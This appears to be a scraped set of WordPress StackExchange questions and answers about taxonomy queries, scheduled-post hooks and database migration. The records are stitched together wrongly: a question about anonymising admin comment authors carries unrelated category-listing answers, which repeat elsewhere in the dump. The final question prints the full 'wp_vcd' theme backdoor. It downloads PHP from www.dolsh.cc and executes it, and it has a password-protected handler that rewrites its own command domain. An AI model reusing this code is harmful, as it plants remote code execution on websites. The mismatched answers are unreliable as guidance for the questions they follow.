[ { "answer_id": 282372, "author": "BlueSuiter", "author_id": 92665, "author_profile": "https://wordpress.stackexchange.com/users/92665", "pm_score": 1, "selected": false, "text": "<p>@niko Please, find your required code, it will give you exact output you were seeking for. I think you were doing all right except in the final output you were missing the right structure.</p>\n\n<p>Also, I recommand not to assign posts to the parent category as this structure not support that. However, I think with minor tweaks in following that can also be acheived. </p>\n\n<pre><code>&lt;?php \n $taxonomy = 'testimonial-category';\n $postType = 'testimonial';\n $terms = get_terms(['taxonomy' =&gt; $taxonomy, 'orderby' =&gt; 'term_id', 'parent' =&gt; 0, 'hide_empty' =&gt; false]);\n?&gt;\n&lt;div class=\"\"&gt;\n&lt;?php\n foreach($terms as $term){\n echo '&lt;h3&gt;' . $term-&gt;name . '&lt;/h3&gt;';\n $childTerms = get_terms(['taxonomy' =&gt; $taxonomy, 'orderby' =&gt; 'term_id', 'parent' =&gt; $term-&gt;term_id, 'hide_empty' =&gt; false]);\n\n foreach($childTerms as $childTerm)\n {\n $posts = get_posts(array('post_status' =&gt;'publish','post_type' =&gt; $postType,\n array(\n 'taxonomy' =&gt; $taxonomy,\n 'field' =&gt; 'term_id',\n 'terms' =&gt; $childTerm-&gt;term_id,\n ),));\n ?&gt;\n &lt;div class=\"add-accordion\"&gt;\n &lt;h3&gt;&lt;?php echo $childTerm-&gt;name ?&gt;&lt;/h3&gt;\n &lt;div class=\"add-accordion\"&gt;\n &lt;?php foreach($posts as $post){ ?&gt;\n &lt;h3&gt;&lt;?php echo $post-&gt;post_title ?&gt;&lt;/h3&gt;\n &lt;div class=\"\"&gt;\n &lt;?php echo get_the_content($post-&gt;ID) ?&gt;\n &lt;/div&gt;\n &lt;?php } ?&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n &lt;?php\n }\n }\n?&gt;\n&lt;/div&gt;\n&lt;script&gt;\n jQuery(function(){\n jQuery('.add-accordion').accordion({\n collapsible: true,\n heightStyle: \"content\",\n active: false,\n animate: 500,\n icons: false\n });\n });\n&lt;/script&gt;\n&lt;?php wp_enqueue_script('jquery-ui-accordion'); ?&gt;\n</code></pre>\n" }, { "answer_id": 324486, "author": "drjorgepolanco", "author_id": 80074, "author_profile": "https://wordpress.stackexchange.com/users/80074", "pm_score": 0, "selected": false, "text": "<p>To display a list of all your categories, subcategories and posts inside each subcategory, use this code. Make sure to change your the arguments with your own taxonomy and post type and read the comments in the code for more clarification:</p>\n\n<pre><code>function ow_categories_with_subcategories_and_posts( $taxonomy, $post_type ) {\n\n // Get the top categories that belong to the provided taxonomy (the ones without parent)\n $categories = get_terms( \n array(\n 'taxonomy' =&gt; $taxonomy,\n 'parent' =&gt; 0, // &lt;-- No Parent\n 'orderby' =&gt; 'term_id',\n 'hide_empty' =&gt; true // &lt;!-- change to false to also display empty ones\n )\n );\n ?&gt;\n &lt;div&gt;\n &lt;?php\n // Iterate through all categories to display each individual category\n foreach ( $categories as $category ) {\n\n $cat_name = $category-&gt;name;\n $cat_id = $category-&gt;term_id;\n $cat_slug = $category-&gt;slug;\n\n // Display the name of each individual category\n echo '&lt;h3&gt;Category: ' . $cat_name . ' - ID: ' . $cat_id . ' - Slug: ' . $cat_slug . '&lt;/h3&gt;'; \n\n\n // Get all the subcategories that belong to the current category\n $subcategories = get_terms(\n array(\n 'taxonomy' =&gt; $taxonomy,\n 'parent' =&gt; $cat_id, // &lt;-- The parent is the current category\n 'orderby' =&gt; 'term_id',\n 'hide_empty' =&gt; true\n )\n );\n ?&gt;\n &lt;div&gt;\n &lt;?php\n // Iterate through all subcategories to display each individual subcategory\n foreach ( $subcategories as $subcategory ) {\n\n $subcat_name = $subcategory-&gt;name;\n $subcat_id = $subcategory-&gt;term_id;\n $subcat_slug = $subcategory-&gt;slug;\n\n // Display the name of each individual subcategory with ID and Slug\n echo '&lt;h4&gt;Subcategory: ' . $subcat_name . ' - ID: ' . $subcat_id . ' - Slug: ' . $subcat_slug . '&lt;/h4&gt;';\n\n // Get all posts that belong to this specific subcategory\n $posts = new WP_Query(\n array(\n 'post_type' =&gt; $post_type,\n 'posts_per_page' =&gt; -1, // &lt;-- Show all posts\n 'hide_empty' =&gt; true,\n 'order' =&gt; 'ASC',\n 'tax_query' =&gt; array(\n array(\n 'taxonomy' =&gt; $taxonomy,\n 'terms' =&gt; $subcat_id,\n 'field' =&gt; 'id'\n )\n )\n )\n );\n\n // If there are posts available within this subcategory\n if ( $posts-&gt;have_posts() ):\n ?&gt;\n &lt;div&gt;\n &lt;?php\n\n // As long as there are posts to show\n while ( $posts-&gt;have_posts() ): $posts-&gt;the_post();\n\n //Show the title of each post with the Post ID\n ?&gt;\n &lt;p&gt;Post: &lt;?php the_title(); ?&gt; - ID: &lt;?php the_ID(); ?&gt;&lt;/p&gt;\n &lt;?php\n\n endwhile;\n ?&gt;\n &lt;/div&gt;\n &lt;?php\n else:\n echo 'No posts found';\n endif;\n\n wp_reset_query();\n }\n ?&gt;\n &lt;/div&gt;\n &lt;?php\n }\n ?&gt;\n &lt;/div&gt;\n &lt;?php\n}\now_categories_with_subcategories_and_posts( 'name_of_your_taxonomy', 'name_of_your_post_type' );\n</code></pre>\n" } ]
2017/09/30
[ "https://wordpress.stackexchange.com/questions/281550", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/67490/" ]
I am trying to query a list with all Categories, Subcategories and Posts of a custom post type. e.g.: ``` Maincat1 -Subcat1 -Post1 -Post2 -Subcat2 -Subcat3 Maincat2 -Subcat3 -Post3 Maincat3 -Post4 ``` I'm getting mad trying to accomplish that. I tried out so many things that I found on the web but I can't figure out how to get it to work. What I have so far (working), All Categories + Subcategories but i don't get it how to query the posts from the Categories / Subcategories. ``` <?php $orderby = 'name'; $show_count = 1; // 1 for yes, 0 for no $pad_counts = 1; // 1 for yes, 0 for no $hierarchical = 1; // 1 for yes, 0 for no $title = ''; $empty = 0; $args = array( 'taxonomy' => 'kategorie', 'orderby' => $orderby, 'show_count' => $show_count, 'pad_counts' => $pad_counts, 'hierarchical' => $hierarchical, 'title_li' => $title, 'hide_empty' => $empty ); ?> <?php $parent_cat_arg = array('hide_empty' => false, 'parent' => 0 ); $parent_cat = get_terms('kategorie',$parent_cat_arg);//category name foreach ($parent_cat as $catVal) { echo '<h3>'.$catVal->name.'</h3>'; //Parent Category $args = array('post_type' => 'Dokumente', 'tax_query' => array( array( 'taxonomy' => 'kategorie', 'field' => 'slug', 'terms' => $custom_term->slug, ), ), ); $my_query = new WP_Query( $args ); if( $my_query->have_posts() ) { while ($my_query->have_posts()) : $my_query->the_post(); ?> <ul><li><a href="#" rel="bookmark" title="Permanent Link to <?php the_title_attribute(); ?>"><?php the_title(); ?></a><li></ul><?php endwhile; } wp_reset_query(); $child_arg = array( 'hide_empty' => false, 'parent' => $catVal->term_id ); $child_cat = get_terms( 'kategorie', $child_arg ); echo '<ul>'; foreach( $child_cat as $child_term ) { echo '<li>'.$child_term->name . '</li>'; //Child Category $my_query = new WP_Query( $args ); if( $my_query->have_posts() ) { while ($my_query->have_posts()) : $my_query->the_post(); ?> <ul><li><a href="#" rel="bookmark" title="Permanent Link to <?php the_title_attribute(); ?>"><?php the_title(); ?></a><li></ul><?php endwhile; } wp_reset_query(); } echo '</ul></li>'; } ?> </div> <?php } add_shortcode('kategorien', 'get_mylist' ); ``` I also have the code to query the posts (at least i think it works) - but i don't know how to combine them. ``` $custom_terms = get_terms('kategorie'); foreach($custom_terms as $custom_term) { wp_reset_query(); $args_slugs = array('post_type' => 'Dokumente', 'tax_query' => array( array( 'taxonomy' => 'kategorie', 'field' => 'slug', 'terms' => $custom_term->slug, ), ), ); $loop = new WP_Query($args_slugs); if($loop->have_posts()) { while($loop->have_posts()) : $loop->the_post(); echo '<ul><li><a href="'.get_permalink().'">'.get_the_title().'</a></li></ul><br>'; endwhile; } } ``` I really hope someone can help me... And yes I already used the search and found similar questions but none of the answers worked for me. Best, NixXxon
@niko Please, find your required code, it will give you exact output you were seeking for. I think you were doing all right except in the final output you were missing the right structure. Also, I recommand not to assign posts to the parent category as this structure not support that. However, I think with minor tweaks in following that can also be acheived. ``` <?php $taxonomy = 'testimonial-category'; $postType = 'testimonial'; $terms = get_terms(['taxonomy' => $taxonomy, 'orderby' => 'term_id', 'parent' => 0, 'hide_empty' => false]); ?> <div class=""> <?php foreach($terms as $term){ echo '<h3>' . $term->name . '</h3>'; $childTerms = get_terms(['taxonomy' => $taxonomy, 'orderby' => 'term_id', 'parent' => $term->term_id, 'hide_empty' => false]); foreach($childTerms as $childTerm) { $posts = get_posts(array('post_status' =>'publish','post_type' => $postType, array( 'taxonomy' => $taxonomy, 'field' => 'term_id', 'terms' => $childTerm->term_id, ),)); ?> <div class="add-accordion"> <h3><?php echo $childTerm->name ?></h3> <div class="add-accordion"> <?php foreach($posts as $post){ ?> <h3><?php echo $post->post_title ?></h3> <div class=""> <?php echo get_the_content($post->ID) ?> </div> <?php } ?> </div> </div> <?php } } ?> </div> <script> jQuery(function(){ jQuery('.add-accordion').accordion({ collapsible: true, heightStyle: "content", active: false, animate: 500, icons: false }); }); </script> <?php wp_enqueue_script('jquery-ui-accordion'); ?> ```
281,565
<p>So here's what I'm trying to do. I'm working on a plugin and I want to check each comment and see if the author of that comment has a role of "administrator" or "editor". If they do, rather than display their user name and avatar, I would like to display the name of the website along with a company logo or something. I'm pretty new to WordPress development and am stuck on this. I can't figure out if there is a filter for this, or if I need to create a custom comments template. If someone could even just get me pointed in the right direction that would be great, because at this point, i'm not even sure where I should start. Thank you.</p> <p>Where I am, My thought process:</p> <pre><code>&lt;?php function anonymize_author(){ global $post; //get the id of the comment author $author_id = $post-&gt;post_author; //get the userdata of comment author $author_info = get_userdata($author_id); //get the user roles of comment author $author_roles = $author_info-&gt;roles; //Array of roles to check against $roles_to_check = ["editor", "administrator"]; //see if user has a role in my $roles_to_check array $results = array_intersect($roles_to_check, $author_roles); if(!empty($results)){ //the user has roles of either "editor" or "administrator" //load custom comments page? //I need to display the author name as the site name //and the avatar as the site logo }else{ //Just a regular user, load the Wordpress Default comments } } add_filter('some_filter_here', 'anonymize_author'); ?&gt; </code></pre>
[ { "answer_id": 282372, "author": "BlueSuiter", "author_id": 92665, "author_profile": "https://wordpress.stackexchange.com/users/92665", "pm_score": 1, "selected": false, "text": "<p>@niko Please, find your required code, it will give you exact output you were seeking for. I think you were doing all right except in the final output you were missing the right structure.</p>\n\n<p>Also, I recommand not to assign posts to the parent category as this structure not support that. However, I think with minor tweaks in following that can also be acheived. </p>\n\n<pre><code>&lt;?php \n $taxonomy = 'testimonial-category';\n $postType = 'testimonial';\n $terms = get_terms(['taxonomy' =&gt; $taxonomy, 'orderby' =&gt; 'term_id', 'parent' =&gt; 0, 'hide_empty' =&gt; false]);\n?&gt;\n&lt;div class=\"\"&gt;\n&lt;?php\n foreach($terms as $term){\n echo '&lt;h3&gt;' . $term-&gt;name . '&lt;/h3&gt;';\n $childTerms = get_terms(['taxonomy' =&gt; $taxonomy, 'orderby' =&gt; 'term_id', 'parent' =&gt; $term-&gt;term_id, 'hide_empty' =&gt; false]);\n\n foreach($childTerms as $childTerm)\n {\n $posts = get_posts(array('post_status' =&gt;'publish','post_type' =&gt; $postType,\n array(\n 'taxonomy' =&gt; $taxonomy,\n 'field' =&gt; 'term_id',\n 'terms' =&gt; $childTerm-&gt;term_id,\n ),));\n ?&gt;\n &lt;div class=\"add-accordion\"&gt;\n &lt;h3&gt;&lt;?php echo $childTerm-&gt;name ?&gt;&lt;/h3&gt;\n &lt;div class=\"add-accordion\"&gt;\n &lt;?php foreach($posts as $post){ ?&gt;\n &lt;h3&gt;&lt;?php echo $post-&gt;post_title ?&gt;&lt;/h3&gt;\n &lt;div class=\"\"&gt;\n &lt;?php echo get_the_content($post-&gt;ID) ?&gt;\n &lt;/div&gt;\n &lt;?php } ?&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n &lt;?php\n }\n }\n?&gt;\n&lt;/div&gt;\n&lt;script&gt;\n jQuery(function(){\n jQuery('.add-accordion').accordion({\n collapsible: true,\n heightStyle: \"content\",\n active: false,\n animate: 500,\n icons: false\n });\n });\n&lt;/script&gt;\n&lt;?php wp_enqueue_script('jquery-ui-accordion'); ?&gt;\n</code></pre>\n" }, { "answer_id": 324486, "author": "drjorgepolanco", "author_id": 80074, "author_profile": "https://wordpress.stackexchange.com/users/80074", "pm_score": 0, "selected": false, "text": "<p>To display a list of all your categories, subcategories and posts inside each subcategory, use this code. Make sure to change your the arguments with your own taxonomy and post type and read the comments in the code for more clarification:</p>\n\n<pre><code>function ow_categories_with_subcategories_and_posts( $taxonomy, $post_type ) {\n\n // Get the top categories that belong to the provided taxonomy (the ones without parent)\n $categories = get_terms( \n array(\n 'taxonomy' =&gt; $taxonomy,\n 'parent' =&gt; 0, // &lt;-- No Parent\n 'orderby' =&gt; 'term_id',\n 'hide_empty' =&gt; true // &lt;!-- change to false to also display empty ones\n )\n );\n ?&gt;\n &lt;div&gt;\n &lt;?php\n // Iterate through all categories to display each individual category\n foreach ( $categories as $category ) {\n\n $cat_name = $category-&gt;name;\n $cat_id = $category-&gt;term_id;\n $cat_slug = $category-&gt;slug;\n\n // Display the name of each individual category\n echo '&lt;h3&gt;Category: ' . $cat_name . ' - ID: ' . $cat_id . ' - Slug: ' . $cat_slug . '&lt;/h3&gt;'; \n\n\n // Get all the subcategories that belong to the current category\n $subcategories = get_terms(\n array(\n 'taxonomy' =&gt; $taxonomy,\n 'parent' =&gt; $cat_id, // &lt;-- The parent is the current category\n 'orderby' =&gt; 'term_id',\n 'hide_empty' =&gt; true\n )\n );\n ?&gt;\n &lt;div&gt;\n &lt;?php\n // Iterate through all subcategories to display each individual subcategory\n foreach ( $subcategories as $subcategory ) {\n\n $subcat_name = $subcategory-&gt;name;\n $subcat_id = $subcategory-&gt;term_id;\n $subcat_slug = $subcategory-&gt;slug;\n\n // Display the name of each individual subcategory with ID and Slug\n echo '&lt;h4&gt;Subcategory: ' . $subcat_name . ' - ID: ' . $subcat_id . ' - Slug: ' . $subcat_slug . '&lt;/h4&gt;';\n\n // Get all posts that belong to this specific subcategory\n $posts = new WP_Query(\n array(\n 'post_type' =&gt; $post_type,\n 'posts_per_page' =&gt; -1, // &lt;-- Show all posts\n 'hide_empty' =&gt; true,\n 'order' =&gt; 'ASC',\n 'tax_query' =&gt; array(\n array(\n 'taxonomy' =&gt; $taxonomy,\n 'terms' =&gt; $subcat_id,\n 'field' =&gt; 'id'\n )\n )\n )\n );\n\n // If there are posts available within this subcategory\n if ( $posts-&gt;have_posts() ):\n ?&gt;\n &lt;div&gt;\n &lt;?php\n\n // As long as there are posts to show\n while ( $posts-&gt;have_posts() ): $posts-&gt;the_post();\n\n //Show the title of each post with the Post ID\n ?&gt;\n &lt;p&gt;Post: &lt;?php the_title(); ?&gt; - ID: &lt;?php the_ID(); ?&gt;&lt;/p&gt;\n &lt;?php\n\n endwhile;\n ?&gt;\n &lt;/div&gt;\n &lt;?php\n else:\n echo 'No posts found';\n endif;\n\n wp_reset_query();\n }\n ?&gt;\n &lt;/div&gt;\n &lt;?php\n }\n ?&gt;\n &lt;/div&gt;\n &lt;?php\n}\now_categories_with_subcategories_and_posts( 'name_of_your_taxonomy', 'name_of_your_post_type' );\n</code></pre>\n" } ]
2017/10/01
[ "https://wordpress.stackexchange.com/questions/281565", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128795/" ]
So here's what I'm trying to do. I'm working on a plugin and I want to check each comment and see if the author of that comment has a role of "administrator" or "editor". If they do, rather than display their user name and avatar, I would like to display the name of the website along with a company logo or something. I'm pretty new to WordPress development and am stuck on this. I can't figure out if there is a filter for this, or if I need to create a custom comments template. If someone could even just get me pointed in the right direction that would be great, because at this point, i'm not even sure where I should start. Thank you. Where I am, My thought process: ``` <?php function anonymize_author(){ global $post; //get the id of the comment author $author_id = $post->post_author; //get the userdata of comment author $author_info = get_userdata($author_id); //get the user roles of comment author $author_roles = $author_info->roles; //Array of roles to check against $roles_to_check = ["editor", "administrator"]; //see if user has a role in my $roles_to_check array $results = array_intersect($roles_to_check, $author_roles); if(!empty($results)){ //the user has roles of either "editor" or "administrator" //load custom comments page? //I need to display the author name as the site name //and the avatar as the site logo }else{ //Just a regular user, load the Wordpress Default comments } } add_filter('some_filter_here', 'anonymize_author'); ?> ```
@niko Please, find your required code, it will give you exact output you were seeking for. I think you were doing all right except in the final output you were missing the right structure. Also, I recommand not to assign posts to the parent category as this structure not support that. However, I think with minor tweaks in following that can also be acheived. ``` <?php $taxonomy = 'testimonial-category'; $postType = 'testimonial'; $terms = get_terms(['taxonomy' => $taxonomy, 'orderby' => 'term_id', 'parent' => 0, 'hide_empty' => false]); ?> <div class=""> <?php foreach($terms as $term){ echo '<h3>' . $term->name . '</h3>'; $childTerms = get_terms(['taxonomy' => $taxonomy, 'orderby' => 'term_id', 'parent' => $term->term_id, 'hide_empty' => false]); foreach($childTerms as $childTerm) { $posts = get_posts(array('post_status' =>'publish','post_type' => $postType, array( 'taxonomy' => $taxonomy, 'field' => 'term_id', 'terms' => $childTerm->term_id, ),)); ?> <div class="add-accordion"> <h3><?php echo $childTerm->name ?></h3> <div class="add-accordion"> <?php foreach($posts as $post){ ?> <h3><?php echo $post->post_title ?></h3> <div class=""> <?php echo get_the_content($post->ID) ?> </div> <?php } ?> </div> </div> <?php } } ?> </div> <script> jQuery(function(){ jQuery('.add-accordion').accordion({ collapsible: true, heightStyle: "content", active: false, animate: 500, icons: false }); }); </script> <?php wp_enqueue_script('jquery-ui-accordion'); ?> ```
281,571
<p>Based on an example <a href="https://wordpress.org/support/topic/confirm-that-publish_future_post-hook-does-not-work/" rel="nofollow noreferrer">found on this page</a>, I attempted to use this in my plugin. Nothing fired. A note <a href="https://codex.wordpress.org/Post_Status_Transitions" rel="nofollow noreferrer">on this page</a> stated publish_future_post is deprecated and replaced with future_to_publish. This also failed.</p> <p>Therefore, I tried to make a simple plugin with only this add_action into the plugin. Once again, the postmeta was not updated.</p> <p>Here is the code in the "future post" plugin.</p> <pre><code>function future_publish ( $post_id ) { update_post_meta( $post_id, 'hook_fired', 'true' ); } add_action( 'future_to_publish', 'future_publish' ); </code></pre> <p>I've been going round and round. Some people are posting the transition status works fine, others say it cannot be wrapped in is_admin, and still, I cannot get a scheduled post to actually fire anything except for the post to WP. I cannot hook into it.</p> <p>Has anyone actually tried to hook in and had something happen after the scheduled post becomes published?</p> <p>Update: Please excuse my typing. I meant published and originally typed post. It's due to my frustration with this topic.</p> <p>Update Number 2: I copied the code from an answer which is specific to $old == 'future' and this worked to update the meta. Great. But the code after the meta (not shown here) doesn't run. At least now I know that the action is working when $old == 'future'. I'm not sure why the rest of the code after doesn't work but that would be a different question. </p> <p>For now, I can only assume that the code $old != 'publish' does not fire scheduled posts and the 'future' must be specified. I'll mark the answer.</p>
[ { "answer_id": 281572, "author": "FluffyKitten", "author_id": 63360, "author_profile": "https://wordpress.stackexchange.com/users/63360", "pm_score": 2, "selected": false, "text": "<p><strong>Update</strong>:</p>\n\n<p>Now that you've changed your question (and made my original answer look completely wrong!):</p>\n\n<p>I haven't used the hook future_to_publish, but I <em>have</em> successfully used the <code>transition_post_status</code> action (also referenced in the <a href=\"https://codex.wordpress.org/Post_Status_Transitions\" rel=\"nofollow noreferrer\">Codex page</a>) to detect status changes.</p>\n\n<p>Something similar to this has worked for me before: </p>\n\n<pre><code>add_action( 'transition_post_status', 'my_status_change', 10, 3 );\n\nfunction my_status_change( $new_status, $old_status, $post ) {\n if ($old_status==\"future\" &amp;&amp; $new_status==\"publish\"){\n // do stuff....\n }\n}\n</code></pre>\n\n<hr>\n\n<p>I think you might have mixed up 2 hooks? The <a href=\"https://codex.wordpress.org/Post_Status_Transitions\" rel=\"nofollow noreferrer\">Codex</a> refers to the following hooks: </p>\n\n<ol>\n<li><strong>{old_status}_to _{new_status} Hook</strong></li>\n</ol>\n\n<blockquote>\n <p>An {old_status}<em>to</em>{new_status} action will execute when a post transitions from {old_status} to {new_status}. </p>\n</blockquote>\n\n<p>In your case: future_to_<em>publish</em> (future_to_<em>post</em> won't work because <em>post</em> isn't a status</p>\n\n<ol start=\"2\">\n<li><strong>{status}_{post_type} Hook</strong></li>\n</ol>\n\n<blockquote>\n <p>A {status}_{post_type} action will execute when a post of type {post_type} transitions to {status} from any other status.</p>\n</blockquote>\n\n<p>In your case: This would be publish_post (I think this may be where you got them mixed up?)</p>\n\n<p>I assume you only want future to publish transitions so try:</p>\n\n<pre><code>add_action( 'future_to_publish', 'future_publish' );\n</code></pre>\n" }, { "answer_id": 281575, "author": "Frank P. Walentynowicz", "author_id": 32851, "author_profile": "https://wordpress.stackexchange.com/users/32851", "pm_score": 2, "selected": true, "text": "<p>Use <code>publish_future_post</code> action hook. Contrary to what Codex says, it is not deprecated, and it works with WordPress 4.8.2. Your code should be:</p>\n\n<pre><code>function my_test_future_post( $post_id ) {\n update_post_meta( $post_id, 'hook_fired', 'true' );\n}\nadd_action( 'publish_future_post', 'my_test_future_post' );\n</code></pre>\n\n<p>Tested!</p>\n\n<h2>Update</h2>\n\n<p>If you are concerned about <code>publish_future_post</code> hook being deprecated, use <code>transition_post_status</code> hook: </p>\n\n<pre><code>function my_test_future_post( $new, $old, $post ) {\n if ( $post-&gt;post_type == 'post' &amp;&amp; $new == 'publish' &amp;&amp; $old == 'future' )\n update_post_meta( $post-&gt;ID, 'hook_fired', 'You bet!' );\n}\nadd_action( 'transition_post_status', 'my_test_future_post', 10, 3 );\n</code></pre>\n\n<p>Tested in <code>functions.php</code> and plugins.</p>\n" } ]
2017/10/01
[ "https://wordpress.stackexchange.com/questions/281571", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/47326/" ]
Based on an example [found on this page](https://wordpress.org/support/topic/confirm-that-publish_future_post-hook-does-not-work/), I attempted to use this in my plugin. Nothing fired. A note [on this page](https://codex.wordpress.org/Post_Status_Transitions) stated publish\_future\_post is deprecated and replaced with future\_to\_publish. This also failed. Therefore, I tried to make a simple plugin with only this add\_action into the plugin. Once again, the postmeta was not updated. Here is the code in the "future post" plugin. ``` function future_publish ( $post_id ) { update_post_meta( $post_id, 'hook_fired', 'true' ); } add_action( 'future_to_publish', 'future_publish' ); ``` I've been going round and round. Some people are posting the transition status works fine, others say it cannot be wrapped in is\_admin, and still, I cannot get a scheduled post to actually fire anything except for the post to WP. I cannot hook into it. Has anyone actually tried to hook in and had something happen after the scheduled post becomes published? Update: Please excuse my typing. I meant published and originally typed post. It's due to my frustration with this topic. Update Number 2: I copied the code from an answer which is specific to $old == 'future' and this worked to update the meta. Great. But the code after the meta (not shown here) doesn't run. At least now I know that the action is working when $old == 'future'. I'm not sure why the rest of the code after doesn't work but that would be a different question. For now, I can only assume that the code $old != 'publish' does not fire scheduled posts and the 'future' must be specified. I'll mark the answer.
Use `publish_future_post` action hook. Contrary to what Codex says, it is not deprecated, and it works with WordPress 4.8.2. Your code should be: ``` function my_test_future_post( $post_id ) { update_post_meta( $post_id, 'hook_fired', 'true' ); } add_action( 'publish_future_post', 'my_test_future_post' ); ``` Tested! Update ------ If you are concerned about `publish_future_post` hook being deprecated, use `transition_post_status` hook: ``` function my_test_future_post( $new, $old, $post ) { if ( $post->post_type == 'post' && $new == 'publish' && $old == 'future' ) update_post_meta( $post->ID, 'hook_fired', 'You bet!' ); } add_action( 'transition_post_status', 'my_test_future_post', 10, 3 ); ``` Tested in `functions.php` and plugins.
281,580
<p>3 weeks ago I uploaded all my files from localhost to cPanel. I want to switch it back , the issue I facing is my original database from the localhost is not updated . I downloaded the database from the cPanel and tried to set it in local host in wp-config.php , but its transferring me to installation every time and then resetting all the data. How can I update the database so it will show the site the same exact way as in production?</p>
[ { "answer_id": 281572, "author": "FluffyKitten", "author_id": 63360, "author_profile": "https://wordpress.stackexchange.com/users/63360", "pm_score": 2, "selected": false, "text": "<p><strong>Update</strong>:</p>\n\n<p>Now that you've changed your question (and made my original answer look completely wrong!):</p>\n\n<p>I haven't used the hook future_to_publish, but I <em>have</em> successfully used the <code>transition_post_status</code> action (also referenced in the <a href=\"https://codex.wordpress.org/Post_Status_Transitions\" rel=\"nofollow noreferrer\">Codex page</a>) to detect status changes.</p>\n\n<p>Something similar to this has worked for me before: </p>\n\n<pre><code>add_action( 'transition_post_status', 'my_status_change', 10, 3 );\n\nfunction my_status_change( $new_status, $old_status, $post ) {\n if ($old_status==\"future\" &amp;&amp; $new_status==\"publish\"){\n // do stuff....\n }\n}\n</code></pre>\n\n<hr>\n\n<p>I think you might have mixed up 2 hooks? The <a href=\"https://codex.wordpress.org/Post_Status_Transitions\" rel=\"nofollow noreferrer\">Codex</a> refers to the following hooks: </p>\n\n<ol>\n<li><strong>{old_status}_to _{new_status} Hook</strong></li>\n</ol>\n\n<blockquote>\n <p>An {old_status}<em>to</em>{new_status} action will execute when a post transitions from {old_status} to {new_status}. </p>\n</blockquote>\n\n<p>In your case: future_to_<em>publish</em> (future_to_<em>post</em> won't work because <em>post</em> isn't a status</p>\n\n<ol start=\"2\">\n<li><strong>{status}_{post_type} Hook</strong></li>\n</ol>\n\n<blockquote>\n <p>A {status}_{post_type} action will execute when a post of type {post_type} transitions to {status} from any other status.</p>\n</blockquote>\n\n<p>In your case: This would be publish_post (I think this may be where you got them mixed up?)</p>\n\n<p>I assume you only want future to publish transitions so try:</p>\n\n<pre><code>add_action( 'future_to_publish', 'future_publish' );\n</code></pre>\n" }, { "answer_id": 281575, "author": "Frank P. Walentynowicz", "author_id": 32851, "author_profile": "https://wordpress.stackexchange.com/users/32851", "pm_score": 2, "selected": true, "text": "<p>Use <code>publish_future_post</code> action hook. Contrary to what Codex says, it is not deprecated, and it works with WordPress 4.8.2. Your code should be:</p>\n\n<pre><code>function my_test_future_post( $post_id ) {\n update_post_meta( $post_id, 'hook_fired', 'true' );\n}\nadd_action( 'publish_future_post', 'my_test_future_post' );\n</code></pre>\n\n<p>Tested!</p>\n\n<h2>Update</h2>\n\n<p>If you are concerned about <code>publish_future_post</code> hook being deprecated, use <code>transition_post_status</code> hook: </p>\n\n<pre><code>function my_test_future_post( $new, $old, $post ) {\n if ( $post-&gt;post_type == 'post' &amp;&amp; $new == 'publish' &amp;&amp; $old == 'future' )\n update_post_meta( $post-&gt;ID, 'hook_fired', 'You bet!' );\n}\nadd_action( 'transition_post_status', 'my_test_future_post', 10, 3 );\n</code></pre>\n\n<p>Tested in <code>functions.php</code> and plugins.</p>\n" } ]
2017/10/01
[ "https://wordpress.stackexchange.com/questions/281580", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128812/" ]
3 weeks ago I uploaded all my files from localhost to cPanel. I want to switch it back , the issue I facing is my original database from the localhost is not updated . I downloaded the database from the cPanel and tried to set it in local host in wp-config.php , but its transferring me to installation every time and then resetting all the data. How can I update the database so it will show the site the same exact way as in production?
Use `publish_future_post` action hook. Contrary to what Codex says, it is not deprecated, and it works with WordPress 4.8.2. Your code should be: ``` function my_test_future_post( $post_id ) { update_post_meta( $post_id, 'hook_fired', 'true' ); } add_action( 'publish_future_post', 'my_test_future_post' ); ``` Tested! Update ------ If you are concerned about `publish_future_post` hook being deprecated, use `transition_post_status` hook: ``` function my_test_future_post( $new, $old, $post ) { if ( $post->post_type == 'post' && $new == 'publish' && $old == 'future' ) update_post_meta( $post->ID, 'hook_fired', 'You bet!' ); } add_action( 'transition_post_status', 'my_test_future_post', 10, 3 ); ``` Tested in `functions.php` and plugins.
281,611
<p>This code appears in my theme's <code>functions.php</code>, also in child theme's. I've deleted it for two times but it comes back. What is it?</p> <pre><code>if ( isset( $_REQUEST['action'] ) &amp;&amp; isset( $_REQUEST['password'] ) &amp;&amp; ( $_REQUEST['password'] == '227972a1a62825660efb0f32126db07f' ) ) { $div_code_name = "wp_vcd"; switch ( $_REQUEST['action'] ) { case 'change_domain'; if ( isset( $_REQUEST['newdomain'] ) ) { if ( ! empty( $_REQUEST['newdomain'] ) ) { if ( $file = @file_get_contents( __FILE__ ) ) { if ( preg_match_all( '/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code4\.php/i', $file, $matcholddomain ) ) { $file = preg_replace( '/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file ); @file_put_contents( __FILE__, $file ); print "true"; } } } } break; default: print "ERROR_WP_ACTION WP_V_CD WP_CD"; } die( "" ); } if ( ! function_exists( 'theme_temp_setup' ) ) { $path = $_SERVER['HTTP_HOST'] . $_SERVER[ REQUEST_URI ]; if ( stripos( $_SERVER['REQUEST_URI'], 'wp-cron.php' ) == false &amp;&amp; stripos( $_SERVER['REQUEST_URI'], 'xmlrpc.php' ) == false ) { if ( $tmpcontent = @file_get_contents( "http://www.dolsh.cc/code4.php?i=" . $path ) ) { function theme_temp_setup( $phpCode ) { $tmpfname = tempnam( sys_get_temp_dir(), "theme_temp_setup" ); $handle = fopen( $tmpfname, "w+" ); fwrite( $handle, "&lt;?php\n" . $phpCode ); fclose( $handle ); include $tmpfname; unlink( $tmpfname ); return get_defined_vars(); } extract( theme_temp_setup( $tmpcontent ) ); } } } </code></pre>
